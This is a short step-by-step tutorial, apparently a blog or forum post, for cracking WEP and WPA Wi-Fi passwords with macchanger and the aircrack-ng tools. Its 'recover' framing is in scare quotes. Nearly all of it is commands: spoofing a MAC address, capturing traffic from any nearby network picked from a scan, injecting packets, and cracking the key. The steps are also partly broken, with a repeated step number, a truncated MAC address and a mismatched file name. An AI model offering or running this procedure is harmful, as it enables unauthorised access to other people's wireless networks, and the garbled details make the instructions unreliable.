Here is a quick tutorial to “recover” a lost wep, wpa password.
1) sudo apt-get install macchanger aircrack-ng
2) disable networking (right click on networking icon and uncheck the box for networking)
3) sudo airmon-ng stop wlan0
3) sudo ifconfig wlan0 down
4) sudo macchanger –mac 00:11:22:33:44:55
5) sudo airmon-ng start wlan0
6) sudo airodump-ng wlan0
7) Copy one of the essid’s
8) Ctrl+C to stop
9) open another terminal
10) sudo airodump-ng -c CHANNEL# -e ESSID -w filename –bssid ID# wlan0
11) open another terminal
12) sudo aireplay-ng -1 0 -a id# -h 00:11:22:33:44:55 wlan0
13) sudo aireplay-ng -3 -b id# -h 00:11…. wlan0 (leave running for 5 minutes or more)
14) aircrack-ng -b id# wifile.cap or if wpa sudo aircrack-ng -b id# -w (password file) wifile.cap
if it finds it your good.